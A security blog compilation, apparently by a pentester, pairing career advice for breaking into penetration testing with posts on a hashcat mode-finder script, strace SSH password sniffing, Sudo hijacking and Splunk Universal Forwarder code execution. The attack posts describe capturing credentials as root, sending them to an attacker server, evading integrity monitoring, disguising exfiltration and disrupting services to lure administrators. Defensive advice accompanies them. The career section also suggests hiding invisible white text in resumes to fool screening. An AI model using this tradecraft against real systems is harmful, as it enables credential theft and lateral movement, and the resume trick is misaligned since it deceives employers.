Offensive Security is a great, saught after, and important career path. Unforutnately it’s also extremely difficult to get into initially. Below I’m providing guidance on how to build your experience before you even get your first OffSec job, helping you clear that hurdle to the job of your dreams. I hope it helps and encourage anyone who benefits from this to add me to LinkedIn so we can all learn from each other going forward.
Target Audience
Anyone trying to get into pentesting, especially people very new to IT such as recent college graduates. These same methods can be adapted to any field.
What is Pentesting?
A pentester does manual and automated testing of web apps and systems.
They are considered experts at locating and exploiting vulnerabilities, as well as knowing how to remediate the findings.
What are the Most Common Types of Pentesting?
The following are the most common types of pentesting, in my recommended order of learning. You can definately get a job with comprehensive Web App, API, and limited network testing skills. I strongly recommend on focusing on that order to get your first job.
Web App
API
Network
Cloud
Mobile
IoT/Physical Device
Wireless
Social Engineering
Physical
Notable Other Pentesting Types
Mobile
Assumed Breach
Red Team
What Does An Employer Need To Hire You?
An internal security team needs someone passionate, willing to learn, have time to learn on and off the job, and have a drive to quickly ramp up. Many will expect you to be completely useless to them for 6 months to a year. Don’t bet on that though, the market is getting much more competitive and if you have experience already then you’ll have a much better chance at that job!
A consulting company get paid by the hour, and they can’t afford staff that they can’t bill out to customers. As such, they need you to be able to start and do the job right away to a reasonable level. They will expect 1-2 years of experience or proof of strong knowledge. If you don’t do the job well, they lose customers. Bad engagements are talked about and word travels FAST.
Very new hires are likely to be forced to be onsite (not remote) for the first year so progress can be monitored closely, and assistance provided swiftly. I don’t agree with this, but it’s very common.
The Elephant in the Room
Pentesting is usually not an entry level job. I personally don’t recommend trying to do it as your first professional job as you’ll always be playing skill catchup. I recommend going one of two paths. Nothing stops you from getting a hybrid job doing both paths, or from doing one job for a few years and then the other for a few years!
Developer
DevOps/Cloud
For the Developer path, I encourage 1-2 years as a developer in Python. Any language could work, but Python is the most versatile language you can learn. Alternatives could be Golang or Java but Python will serve you best. Web Development in Python will serve well for web app testing and will get you familiar with other languages/frameworks such as Javascript, Angular, HTML, CSS, JQuery, and Django. Knowing some or a lot about these languages will server you very well in exploiting web applications. 1-2 years of professional experience is enough to have a rounded basic knowledge of Python development. You’ll also likely learn some things about modern Pipeline CI/CD tools such as Github, Jenkins, Travis CI, and/or TeamCity. These systems are excellent targets for “shift left” pentesting where you exploit before code is released, and knowning these tools will set you apart from your competition. Going down this path will make you very strong in Web App/API testing, but won’t build you in other types of testing. Since Web App/API is by far the most common testing done by pentesters, going down this path is my recommendation.
For the DevOps/Cloud path, find a job that uses infrastructure as code to build servers, firewall rules (security groups in AWS), and does automated patching/maintenance. AWS is the most used cloud platform and finding a job doing DevOps for an AWS customer will provide you options both inside Information Security and outside of it. If you guessed that Python is going to be the most likely language needed for DevOps for Infrastructure as Code, then your right! While you can write IaC in multiple languages, Python is the most common and most flexible. Learning how servers are setup, configured, misconfigured, and break/fix hacked together will provide you skills that directly transfer to network pentesting. You can still learn what you need to for Web App/API tesitng, so don’t worry! You won’t have as deep of dev skills most likely to find complex web app logic vulnerabilities without more training than would be required by a Developer, but you’ll still have the skills to do a great job!
What is Experience?
When looking at experience for a job, many people think of only two options: College, and professional job experience. While these are two of the easiest experiences to have, it’s definately not the only experience you can have.
So let’s ask, what constitutes experience when applying for a job? A job role has a list of specific skills that is needed to do the job. The objective of those looking for candidates is to find people with those skills. To do this, you can’t just say “I can do web app pentesting”. There’s no way for the employer to know that you know it, people lie constantly when trying to get a job. Espeically a 6 figure job with fantastic benefits. So, employers need 2 things: They need the experience to be documented, and verifiable. Think back to writing papers in school, if you say “The moon is made of cheese”, you better have a reliable source to go back on or your going to get flunked out.
When you look at a job posting, look hard at the requirents and at your resume and think “does my resume PROVE that I meet this requirement?” This is where people have extreme trouble getting into Offensive Security jobs. You almost have to have had the job for 1-2 years to get the job. Or so it seems, but that’s not the case at all.
If you were lucky, you may have had an internship in college in Offensive Security, Information Security, or development. This is directly applicable expeirence that you can use, but you have to document clearly what you worked on. The best internships give you a large project to work on that you can say “I made this cool tool for this company” and it gives a great discussion point for you.
If you weren’t that lucky, or even if you were, let’s look at excellent sources of verifiable experience.
What are common skills needed for a pentester?
This is an extremely non-exhaustive list but it’s the very core skills that I’d recommend getting.
Programming skills
Linux Skills
Web App Pentest Skills
API Testing Skills
Common Hacking Tools
Proving Programming/Development Skills
You likely didn’t learn enough in a college class to prove you know a language to a reasonable level. They teach you enough so you can learn the rest on your own.
You learn programming by writing code, lots and lots of code. Expect 1 year of writing random code consistently to learn a language good enough for a job, and even that’s not a guarantee.
The best way to prove you know coding, is to show what you’ve written. Create a Github account and push the code you write to it. From small scripts to web apps to larger applications. Focus on 2 pentest tools that you create from scratch to highlight on your resume and talk about. They don’t have to be crazy, and they can be based on something already in the industry, just make your own version to show you can do it. When they go to look at those two, they’ll see all the rest and be impressed!
Put your Github link on your Resume, your LinkedIn, and your blog!
You can start pushing code when in college, make a repo like “learning” or something, it’ll show your commits for how many years you’ve been doing it, that’s verifiable!
Language certifications are generally useless (currently). Don’t bother unless you can get them free or super cheap.
Side Note: No programmers can just write blindly, they research, google, and use references for syntax. You shouldn’t expect to just blindly write flawless code for years, if ever. Imposter Syndrom is a very real thing in our industry, don’t fall for it. Nobody is as good as you think they are, and your always your own worst critic!
Proving Linux Skills
Focus on Debian/Kali Linux
Linux+ is a great cert that helps prove Linux skills, but this costs money. I highly recommend finding a book and reading it,or finding videos online and watching for the knowledge. Get the cert if you can afford it.
Writing Bash scripts/pentest tools in Bash shows linux programming proficiency (add to your Github!)
Create some Linux how-to videos and put them on Youtube. Even if they’re basic, they show your know things! Add them to your blog and post them on social media!
Proving That You’ve Learned Pentest Skills
Port Swigger Academy (Free) - Has a verifiable dashboard if asked for proof
HackTheBox (Free) - Has a verifiable dashboard if asked for proof
TryHackMe (Free) - Has a verifiable dashboard if asked for proof
If your college/employer gives a Udemy.com subscription, you receive certificates of completion when finishing courses. Keep these as proof.
Port Swigger Academy is, arguably, one of the best free resources for learning web app pentesting. They have 3 difficulty levels and a growing number of labs to teach skills. This is the first place I recommend people to go when learning pentesting, to learn practical and directly usable skills.
Side Note: HackTheBox has an academy version that is very cheap for active college students ($8USD/Month). They have paths to learn Bug Bounty and Pentesting, and I highly encourage learning with their resources. Again, these are verifiable and HackTheBox (HTB) is industry recognized. The one bad part is people post writeups/solutions to hacking challenges, so it’s hard to know who cheated or not to pass challenges, but you still had to follow it and it’s a learning expeirence either way, so it’s considered very good experience to have. Many job posts reference HackTheBox as a positive experience point.
Proving That You Can Actually Do Pentesting
HackerOne/Bug Bounty
Other Responsible Disclosures
Getting CVE’s on web apps you can download and run in your own environment
Bug Bounty Discussion
A difficult challenge when learning penetration testing can be finding a place to get real world, hands-on experience in a safe and legal way. Joining a Bug Bounty program can be a great way to learn running into legal issues. There are two primary platforms, HackerOne and BugCrowd. Both offer similar programs, for this discussion we’ll use HackerOne because their hoody is exceptionally comfy.
A Bug Bounty program allows anyone to sign up and find companies who have approved testing on their network by anyone on the platform (IE HackerOne). The agreement is that anything found will be reported through the platform and kept private while being remediated. Companies offer 3 things in return for hackers: Kudos, Swag, and/or Money. Only the first person who reports a vulnerability gets credit. While learning, I strongly recommend going for the programs that only offer kudos or swag, as these will have less of the “rockstar” hackers on them finding things.
When you report findings, you have a dashbaord that you can provide employers that shows how many vulns you’ve reported, how many have been accepted, and in some cases the full vulnerability report is visible. Non-money programs are not only more likely to not be picked over as quickly, but the programs are more likely to make the report visible, which is great for you as you can show an employer what types of vulns you find, how you found it, how you’d recommend remediation, and your overall writing style. This is the best difiniative proof that you not only know the job, but you can do the job.
Put a link to your bug bounty profile(s) on your resume, and link 1-2 of your best public findings if you have any. Sign up for the platform right away, because the joined date is public and even if you don’t do any hunting right away, it’s starting the experience counter for you. As your learning, I encourage you to try to find vulnerabilities on these real networks.
One important thing with Bug Bounty programs, is each will have a scope. This is the rules of engagement, what you can hack, how deep, what vulnerabilities or activities are not allowed, etc. It is very important to not go out of scope, as this would put you in potential legal trouble. Stick to the sites they provide.
Once you find vulnerabilities and report them, it can take a few months for them to show publically so keep looking and building that resume experience!
Take a look at an example profile of a friend of mine who’s been doing HackerOne for several years: Hogarth45 HackerOne Profile. Note that you can see some of the vuln reports, you can see activity over time, and total number of vulnerabilities reported. It’s basically a stand alone resume!
Pentest Tools You Need to Know
There are a lot of pentest tools someone should know, but there are a few that are so indispensable that not knowing them will be looked down upon. Back in my day they’d say ‘Your not leet’. Spend some time getting familiar with these and it will help you on interviews.
Burp Suite (Pro Preferred!) – Will learn well with PortSwigger Academy! Expect to be asked for 1-2 of your favorite extensions!
Metasploit
Nessus (Free version available to learn with)
An API application like Postman or Insomnia
Sqlmap
Nmap
Wireshark (At least the basics)
Important Knowledge To Know
Know how to pentest the OWASP Top 10 and know what they are
If you have a lot of dashboards that show activity (such as Hack The Box, portswigger, etc) that can’t be seen without logging in with your account, then create a webpage to showcase all of them and make it an extension of your resume!
Github offers a free hosting system for static webpages. I recommend learning Jekyll and making your own webpage!
Example: the blog your reading right now!
You can also make a list of notable blog posts/hackerone reports, etc that you like to showcase some unverifiable things, making them slightly more verifiable!
Certifications
Certifications are a good way to showcase that you know knowledge, and HR loves them. While it’s not required that you get them, having at least a few will help you get jobs. Here’s a list of certificaitons, in a rough order, that I would recommend you look at when starting out. Note though that they do cost money.
PortSwigger Burp Suite Certified Practitioner
INE Junior Penetration Tester (eJPT)
INE eWPT
INE eCPPT
CompTia Pentest+
Offensive Security OSWA
Offensive Security OSCP
Note that INE has a year long learning subscription of all of their training for about $800/year, and certifications are approximately $350 each. I believe INE provides certs of completion if you can’t afford the certs, but I strongly recommend doing the certs if you’ve done the work.
Offensive Security is a fantastic set of certifications which don’t expire. The exams are hands on practical labs, and not just a brain dump. The downside is the training doesn’t prepare you to take the exam, it prepares you to start working on the labs. You need to beat your head against the labs and “try harder” for a, and I can’t stress this enough, LONG time to get success. I’ve met testers with years of experience who fail the OSCP, and I’ve met testers with no experience who pass. All that matters is the time you put in. The problem with this, is Offensive Security is rather expensive. At the time of this writing, 90 days of lab access + cert attempt is $1500. While this doesn’t sound bad, for someone more entry level, 90 days is likely not enough time to go through all of the material and the labs. I strongly recommend using other resources to learn before spending the money with Offensive Security. They do offer a 1 year “All access, unlimited cert attempt” path for $5500, but this is difficult for many to afford. You may be able to get your first job to pay for it for a year. If that’s the case, spend every waking moment in their platform and get every certificaiton you can during your year. They are the most valued certifications in the industry for good reason, if you can pass them, you can do the job. INE has great training that actually teaches you the skills needed to attack the labs and make progress, and going thorugh several of their courses first will save you a lot of money down the road at Offensive Security.
A note on Certifications:
Certifications often expire, and you should probably let them go. Just add (expired) after them on LinkedIn and your Resume. Nobody will care. Renewals are often lockins to try to get you to spend more money with the cert vendor and provide you little to no value.
The exclusion for this is the CISSP and CISM, maintain these for DOD 8570 and for HR.
Job Posts
Job Posts are a wish list, not hard requirements
The worst that can happen when applying for a job is you get rejected or ignored. So always apply for a job and be honest on your skill level.
Never lie to get a job. Honesty on skills is very important.
There’s currently a LOT of competition for remote jobs. You may have to move for your first pentest job, or keep bug bountying until someone is willing to hire you remote.
Automated Resume Rejection
Many new HR systems automatically parse resumes and reject weak candidates. These systems are horrible and reject even some of the best candidates
Slightly unethical solution: Take the job post, add a page to your resume, and paste the job posting on that page. Set the font to size 5 and set the text to white so it’s invisible. Now you’ll meet all requirements and you’ll be passed on to a real human to review you!
ChatGPT can really tailor your resume to a job posting, use it wisely. Always check that it didn’t lie with the changes!
No matter what, expect rejection. Applying for jobs is like using Tinder. Just swipe right on everyone, and see who likes back and go from there. Don’t bother being picky before knowing you have a shot.
Training Budgets/Learning Resources
When getting interviewed, ask detailed questions about training budgets and learning resources!
Udemy and O’Reilly Books are great resources some employers provide, Udemy especially is really worthwhile
How much do you get for training yearly? Will they support your journey both in your current role and your interest in security?
SANS can be 8-10K a course/certification and is often not worth the money unless your employee volunteers it. A lot of people have a Fear of Missing Out (FOMO) regarding SANS, there is better training out there that’s more hands on practical. Don’t fall for the trap, unless your work will pay for it.
Offensive Security courses/certs are $1600-2500 and are very worth the money.
Do they do tuition reimbursement? (Free Bachelors/Masters Degree!)
Marketing Yourself
The tech market is a popularity contest, there’s no way to refute that. Who you know is as important as what you know. The industry is very into shiney tools and deeply respects people who do research, share knowledge, and give the community a good reputaiton. It’s very important to market yourself on social media. Here’s some examples of ways you should be marketing yourself:
Blogs
LinkedIn Posts (share your blogs!)
Twitter Posts (share your blogs!)
Talks at Cons
Attending InfoSec Meetups/cons
CREATING MEETUPS - Those who run meetups are very respected
Volunteering at cons
Volunteering on opensource/community projects
** Constant Contact! **
** Constant Engagement! **
** Up it when you know your going to go job hunting! **
Udemy & Other Courses
There’s a lot of free ways to gain knowledge, but if your lucky enough to have an employer who gives you a Udemy or Oreilly subscription, I’ve curated a list of useful courses you can take. If you have to pay for each course, I don’t recommend this path since you can find the knowledge free somewhere with some effort. If you do choose to pay for any of these out of pocket, know that there’s Udemy coupons online that can substantially drop the price for courses.
Pentester Academy is a great resource for learning a lot. It costs $69/month but has access to a massive amount of course videos and labs. I don’t know if there’s certificates of completion or dashboards showing progress, but you can document on your webapage/resume which courses you have completed to show some knowledge. In years past they’ve given good discouts on Black Friday/Cyber Monday but since they’ve been acquired by INE I’m not sure if they still do this. They do have aggressive practices of making you feel a deal is about to be ripped away and pricing will go up. It won’t, don’t fall for it. They have some bootcamps that do come with certificates of completion and certifications. While not as industry recognized, they are great courses and I recommend them. I wish they were more recognized, but as we’ve seen above it’s less about industry recognition and more about showing your knowledge and interest in the job.
Hashcat is a very powerful tool that the InfoSec community relies on, especially Offensive Security teams. One difficulty in using Hashcat is figuring out which hash type/mode to use, as there are currently 473 different types supported, and many look very similar to the naked eye.
The tool hashid from psypanda is the default tool used to identify hashes, and is great. You can give it a hash and add the -m flag, and it’ll give you the suspected hash type and the Hashcat mode to use. The downside is it often gives many results, again due to the similarity of hashes.
I know the hash is SHA-1, Mode 100 because I created it, but if I was trying to crack this hash then I have to run multiple possibilities, and what if it’s something new not added to hashid yet? This takes time, adds complexity, and possibly is prone to missing hash cracking if you don’t get the right hash mode from the tool.
If you only have hashes, it’s the best you have to work with, unfortunately, with the only other option being to look at the Hashcat wiki of example hashes. But what if you have a known hash and password? This is very common, from accessing web apps where you have an account and dumping databases, to getting access to leaks online where the attackers provide a sample of cracked passwords to show as evidence.
If you have a plain text password along with a hash, my solution is to run the hash/password against every supported mode in Hashcat and see which modes, if any, crack the password. I’ve created a simple tool to do this called “whatsthathash.sh”. You put your single hash in a file, your single password in a file, and feed it to the script. The script then pulls all supported modes from Hashcat and runs your combination against each mode, telling you if it successfully cracked it or not. This means the script should never go out of date as it’s pulling modes automatically.
Using our same hash from above, which hashid gave multiple supported and non-supported modes for, we can see that whatsthathash.sh identifies the correct hash mode as 100. Running the script takes approximately 4 minutes currently in a virtual machine on an M1 MBP.
└─# ./whatsthathash.sh -t testhash -p testpass
Whats That Hash
Created by Tim Jensen @eapolsniper
-----------------------
473 hash ID's have been found and will be tested
hash is: b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1
Pass is: Password123
Hash cracked with hashtype 100!
A total of 1 hash ID's worked!
Setup
The script has some minor setup. It’s pre-configured to run on Kali Linux, which keeps very up to date versions of Hashcat in the apt repository. As such you can just run hashcat on the command line and it works. The backend hashcat app files are stored in /usr/share/hashcat, and this updates as well when the hashcat version is updated. If you’re using Kali, or some other package-managed version, you can likely download the script and run it without issue.
Lines 15-19 are the configuration options if using repositories, if for some reason you need to change a location this is where to do it:
#If using Hashcat from a package manager: otherwise comment all of these out and uncomment the lines above.
packman=1
hashcatmodloc="/usr/share/hashcat"
hashcatbin="hashcat"
Many professional grade cracking rigs will not use Kali Linux, and will have multiple versions of Hashcat installed, including the possibility of switching between hashcat and oclhashcat. Those using this script in this configuration, you’ll want to comment out lines 17-19 and uncomment lines 11 and 13. Place the hashcat directory in the hashcatloc variable, and the hashcat binfile name in the hashcatbin variable. The bin file is unlikely to change unless you use oclhashcat.
#Hashcat installation location.
hashcatloc="/opt/hashcat-6.2.6"
#BIN name is configurable incase your using OCLHashCat or some other future naming convention
hashcatbin="hashcat.bin"
Making these changes is all you should need to run.
Execution Steps
Download whatsthathash.sh and provide it 2 command line options:”
./whatsthathash.sh -t testhash -p testpass
The test file explains the flags and can be accessed using -h:
┌──(root㉿kali)-[~]
└─# ./whatsthathash.sh -h
Whats That Hash
Created by Tim Jensen @eapolsniper
-----------------------
Whats That Hash
Created by Tim Jensen @eapolsniper
This script tests a known hash/password combo against every hash type, and tells you if Hashcat can crack the hash.
You can then automatically start a hashcat job to crack your hashes
---------------------
-t -- Your test hash (single hash in a file)
-p -- Your known password in a file
Continuing in the same vein as the Sudo Hijacking article I wrote last week, I want to continue diving into different ways attackers can capture plain text passwords from Linux hosts to use for lateral movement in a network. In this scenario you need root access to a Linux server, and you need strace installed or the ability to install strace. Strace is a very useful diagnostic program which attaches to a process and monitors the memory stack as the application runs. This allows us to see a lot of information which would normally not be visible to the user, such as the plain text username and password for every user who logs in over SSH.
You may be wondering why we care about this if we already have root access, and that’s a great question! As root you control the host your on, and you may have gotten root in many different ways, such as through a Weblogic vulnerability or through command injection in a web appication. An attacker won’t stop at the one host, the goal is to move into the network and find more systems to exploit and data to compromise, this is called lateral movement. One method of lateral movement is to try cracking the password hashes in /etc/shadow, but with type 6 ($6$) SHA-512 passwords being common now, along with password managers allowing for very long and complex passwords, the odds of cracking a password are not as good as they used to be. To save time and resources it’s often best to find a way to get the plain text password, which is the purpose of this techique.
Demo Video
Code
I recommend downloading the command from my repository in the event I make changes. The command is labeled under SSH Spy in my OneLiner document.
When you view SSH data in strace, you see a lot of data flying by, much of it seemingly incomprehensible due to it being very raw data. When we look at logins, we really only care about 3 things: the username, the password, and was the login successful.
An important note is that I have strace only displaying read, write, and openat commands. If this is not done you will get flooded with uninteresting data.
Above we see me logging in with the username tjensen. I then try an incorrect pasword, and then I attempt the correct password “Iamtopgun1!”. Once the successful password is entered, the user’s .profile is queried, which is how we know if the user successfully logged in or not. If the user runs a Sudo command, then Sudo queries root’s .profile, which we can flag on to identify that the user has sudo rights. While a user is moving around the file system, you may receive additional .profile alerts. They shouldn’t be too frequent and it can’t be helped.
One minor problem is you’ll notice the password fields flag on “\f\0\0\0”, but there is always another random character added before the password that we need to exclude. For “nottherightpassword” this is \23, for “Iamtopgun1!” this is \v. Be aware of this when extracting the passwords so you don’t accidentally get a password and think it doesn’t work, but really you copied a bit of this random character from strace.
Execution Steps
Change the IP address in the 1 liner to match your attack receiver
Setup your attack receiver. I strongly recommend Apache with HTTPS enabled to protect transmission data, but for testing I used This SimpleHTTPServer POST modification script written by Kyle Mcdonald, which can be found here
Execute the 1 liner on the victim. Make sure it’s running as Root.
Wait for users to login.
Defense
The primary defense for this is to not have strace installed on the server. Strace used to come as a standard tool in Linux, and even on MacOS, for many years. In recent years it has been removed from standard installations but I still find it on a good number of hosts, both old and new. While I devised the command to never touch disk, so it wouldn’t set off any File Integrity Monitoring systems(FIM), if you don’t see any FIM enabled on the host you could try to install strace from the software repository (apt, yum, etc). Many companies don’t run any Antivirus, File Integrity Monitoring, or Anti-Rootkit protections on Linux hosts which makes it very easy for an attacker to maintain access.
To prevent attackers from installing strace, the secondary defense is using a File Integrity Monitorying system to detect installation of Strace and any similar useages of strace which touch disk. For a pentester/Red Teamer, running purely in memory is probably ok since Linux hosts are rarely rebooted and engagements are realatively short. Very long Red Team engagements or malicious attackers are likely to want to add the command to a startup script or cron job to maintain persistence after a reboot, this would touch disk and could be caught by a File Integrity Monitoring system.
As you would with any malware, monitor suspicious outbound network connections, especially from servers. Linux systems are a lot quieter than Windows systems, very few agents query for updates or do any sort of outbound calls. Monitoring for normal network connections over a few weeks to a month and marking all URL’s/IP’s as known, and anything new after that suspicious is a fast way to detect compromised systems. Update your known hosts list if any new IP’s show up and you determine they are legitimate. Writing a SIEM rule to see if any traffic leaves a host only upon successful user login could catch a number of snooping attacks such as this.
Linux systems are very static compared to Windows systems, and as such monitoring everything running on the system with ‘ps’ and flagging on changes is a definate possibility in high security environments. Each system would need to be setup to know what normally runs, and flags will likely be raised upon every legitimate user login, but if admins keep track of what they access and when, then this is very solid security to prevent intrusions.
Executing Paths
I see a number of ways this can be used:
If you have a Root shell, you can drop this in through Tmux or Screen so you can this can run in memory until the next reboot.
You can try running this through Command Injection via a webapp, allowing you to gain credentials without ever having a shell. I’ve had several command injection hosts which blocked all ways for me to open a remote shell, which limits the number of ways I can get on the box. Yes I can add a user to /etc/passwd and /etc/shadow, but that’s touching disk and in sophisticated environments this is guranteed to get caught by File Integrity Monitoring systems. Running this in memory and waiting for an administrator to login is a nice low and slow way to gain access.
If your running through a web app, getting all that command through is going to seem daunting. Remember that you can bas64 the command before sending through the webapp, and have it unpacked and executed on the other side:
This will be easy to cleanup, as a host reboot will remove it from memory or you can just kill the process. You can also use ‘timeout’ or a while statement to detect a future datetime and kill the process once the time has expired. This is really convenient for long term engagements if your going to run this on a large number of hosts and you worry about missing cleanup on any of them. Of course, if you set this to persist on a startup script or cron job then you’ll need a more manual cleanup method.
Back in the early 2000’s, when us poor hackers didn’t have GPU’s to crack with, we had to get creative to acquire plain text passwords. A common technique, at least in my group of friends, was Sudo Hijacking. Sudo Hijacking is where you move the Sudo binary file, and replace it with a script which mimic’s Sudo, capturing the user’s plain text password for the attacker while relaying the password to the legitimate Sudo binary file for user access.
Present Day
I was having a discussion last week with someone and mentioned Sudo Hijacking and that you can intercept the password and provide a user access to ‘sudo su -‘ without the user noticing the change. The person I was speaking denied this is possible, and a Nerd Off began. I had my old code, last used around 2009, and gave it a try but found Sudo had made updates which broke the old tried and true methods. It appears there’s some level of basic commands filtering to prevent exploitation of Sudo in this manner. I decided to see if I could get a working Proof of Concept again and ended up succeeding. I’m fairly certain I could do it better, but all I’m attempting to show is a concept, the risk, and how to use and prevent these types of attacks. I did some googling and asking around and it appears this technique is not common anymore in the pentest/red team world and as such I felt it was worth writing about.
Hashed Passwords - Problems And Solutions
One thing you will note, is to do this you must have Root access to move the Sudo file. Having Root access is likely to make many people think this is not a vulnerability, since having root access gets you full control to the entire system, but nobody runs a single computer anymore, and as such we’re going to look beyond the single host and see this vulnerability where it relates to a computer network. In fact, I notified the creator of Sudo and they stated they do not feel this is a vulnerability, and provided a number of sound reasons, and I agree so long as we’re only thinking of a single system. As an attacker you will often find a vulnerability to compromise a host as root, and that’s awesome, but how do you move from that single host to other hosts? Grabbing /etc/shadow is the most likely method, but with the usage of SHA-512 type 6 ($6$) hashes in combination with password managers to store long random passwords, cracking passwords has gotten to be a lot more difficult. Most users use either the same password across most Linux systems for ease of access, or they use centralized authentication such as OpenLDAP or Active Directory. This means if we can get the plain text password on the host we’ve compromised, we can use the password to pivot to other systems, and since many administrators use their Domain Administrators account as their everyday admin account in less security conscious companies, this could lead to Domain compromise. Sudo Hijacking becomes one of a number of solutions which can be used to capture the administrator’s password and gain lateral movement.
Start ‘python -m SimpleHTTPServer 80’ on attacker machine
Wait for a user to sudo su - (note, this is the command I chose to test with, but script could easily be modified for any sudo command)
Defense
We’re going to skip to Defense and then back to Offense. Bear with me, I have a reason.
The primary method of defense for this is to use a File Integrity Monitoring (FIM) solution, which will identify any changes to files on a system. Important controls for FIM is detected file changes must be logged off system, FIM should notify upon start/stop, and FIM should send an ignored beacon back occasionally to notify the FIM server if the agent has died or been tampered with. This control doesn’t even cost money! OSSEC is a free and reliable tool for this. If you want something that is more of a finished product with better reporting, I’ve worked with Tripwire before and it did an excellent job. Now for the hard part, you can’t just log file changes, you have to actually notice that they occurred. You should have a change management system and your FIM should automatically create a ticket and assign it to the system administrator of the system, so they can review any file changes on the system. If an administrator seems a change to a system file, and they haven’t run updates or anything similar, they should notify the incident response team.
In addition to this, I recommend installing an antivirus/anti-rootkit system on the host. On many engagements I exploit Linux hosts more than Windows host, and I have run into 2-3 customers total that used FIM on Linux, and none that use antivirus. This makes moving around and trying different privilege escalation methods very safe for for the attacker.
I’m a fan of using an antivirus system which includes FIM functions, using Antivirus for system FIM, but then install OSSEC to monitor the antivirus files to ensure nobody tampers with the primary AV/FIM. Disabling antivirus is trivial in most cases and often goes unnoticed. This will be another blog post in the near future.
As you would with any malware, monitor suspicious outbound network connections, especially from servers. Linux systems are a lot quieter than Windows systems, very few agents query for updates or do any sort of outbound calls. Monitoring for normal network connections over a few weeks to a month and marking all URL’s/IP’s as known, and anything new after that suspicious is a fast way to detect compromised systems. Update your known hosts list if any new IP’s show up and you determine they are legitimate.
Hiding Installation
So, let’s assume you compromise a host and haven’t left any tracks yet. You want to do Sudo Hijacking but they have File Integrity Monitoring enabled. How do you get around this? Your best best is to write a script and execute it, monitoring bash-history files to see if/when updates are applied to the system. If updates are applied then have the script automatically reconfigure the Sudo environment. When updates apply, administrators often just see hundreds of file changes and mark all of them as legitimate since they know they installed updates that evening. Ideally you won’t save the setup script to disk, instead write the script into a bash 1 liner and run on the command line in the background. If for some reason you must run your script from disk, place it in tmp as an innocent name like page.tmp and once it has executed and is running in memory, delete the local file.
Speeding Up Success
Before I say anything about this, remember to get permission from your company contact to stop services, as this will likely cause a service outage. On some systems this may be acceptable and on others it may not be.
Administrators are busy, and may not login on the schedule which you would prefer. The longer your on systems, the more likely you’ll be detected. As such in certain circumstances it may be advantageous to speed up the admin logging in. If the server is running a web service, you could try stopping the service. An administrator is likely to login to try to figure out why the service has died, and to restart it they will need administrative access. The same can be done for any service running aside from SSH which they will need to login. Don’t do anything else on a host aside from copy off /etc/shadow incase this all fails. You don’t want artifacts lying around to make the administrator suspicious. They will already be suspicious of why a process that usually runs without issue suddenly died.
Hiding Exfiltration
Let’s talk about the largest problem with my Proof of Concept. The script is sending a plain text username and password over unencrypted HTTP. Internally there’s a good chance this won’t get caught by most organizations, but if your doing this attack over the internet, not only is is likely to be caught by defensive systems, but this would expose your customer’s password to every device between them and your attack host. This is not good. As such I recommend setting up an Apache server with HTTPS to act as your collector. Make sure to use a legitimate certificate, Lets Encrypt is free!
So, now that we’re not causing a breach, lets look at how to get the Blue Team to leave us alone. Your script is not going to generate very many outbound connections, which is excellent, so you just need to make the traffic look halfway innocent and it should slide by. I recommend you make a POST request to your attacker server and make it look like an established session looking for an update, where the username:password is encrypted with a pre-shared key using openssl that you know and place the encrypted blob in a session: header so it looks like a valid session cookie for a website. Alternately you can make it look like a Basic authentication connection, but this can easily be decoded and you run the risk of the Blue Team asking the administrator what they tried logging into on the internet from a Linux server with their internal credentials. I know I'd be asking if I were them.
There’s some alternate exfiltration methods out there that take a little more setup. The upside of being a bad guy is that finding anyone doing egress filtering is practically unheard of, still, in 2020. Any Blue Teams reading this, please make our jobs harder.
You can exfiltrate out using ICMP, where ICMP can be padded with legitimate data and be reassembled on the other side. Again, your only sending a small amount of data so this is likely to go unnoticed. If you encrypt the data first it’s going to look so garbled that it should pass as just random garbage data, though re-assembly could be a problem if you lose a packet so you may want to send the same thing 2-3 times to ensure delivery.
DNS Exfiltration. This is a common way of exfiltrating everything nowadays, since it’s one of the most common ports to be allowed outbound on locked down networks.
Batching username/passwords and sending them daily. If this happens to be a super busy host for sudo, maybe a developer test environment, then batching and sending may be smarter than sending each set immediately upon login. I’d use this with care, since I personally would rather have a password and risk getting caught, then have no password and still risk getting caught.
Alternate Attack Method
After I wrote my PoC I did some googling and found a number of people doing a similar attack but they modify a user’s .bashrc file to switch Sudo for just that user. This is an interesting Sudo Hijacking method, though I’d personally prefer to switch the executable for two reasons 1) This will only work for individual users, unless you also poison the bashrc skeleton file, but that has a higher chance of being noticed and 2) People actually look at their .bashrc files more often than people think, so it is likely to be noticed over time. This could work for a very short engagement, but I feel it has a higher chance of being caught long term. On the upside, while .bashrc files come set with RW-R-R permissions, users have a habit of screwing up permissions to their own files and leaving them so there’s a chance of finding files that are writeable and could allow you to escalate privilege instead of just capture plain text passwords. This also could come in very handy with NFS shares which expose user’s home directories. I’ll cover exploiting this with NFS in a future article.
The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system.
This attack is being used by Penetration Testers and is likely being actively exploited in the wild by malicious attackers. Gaining the password could lead to the compromise of hundreds of system in a customer environment.
Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details.
Context:
Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular.
Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher. As you will note in my demo, complexity is not a requirement as my agent password is 12345678. A remote attacker can brute force the password without lockout, which is a necessity of a log host, since if the account locked out then logs would no longer be sent to the Splunk server and an attacker could use this to hide their attacks. The following screenshot shows the Universal Forwarder agent, this initial page is accessible without authentication and can be used to enumerate hosts running Splunk Universal Forwarder.
Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly.
Common Password Locations
I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks:
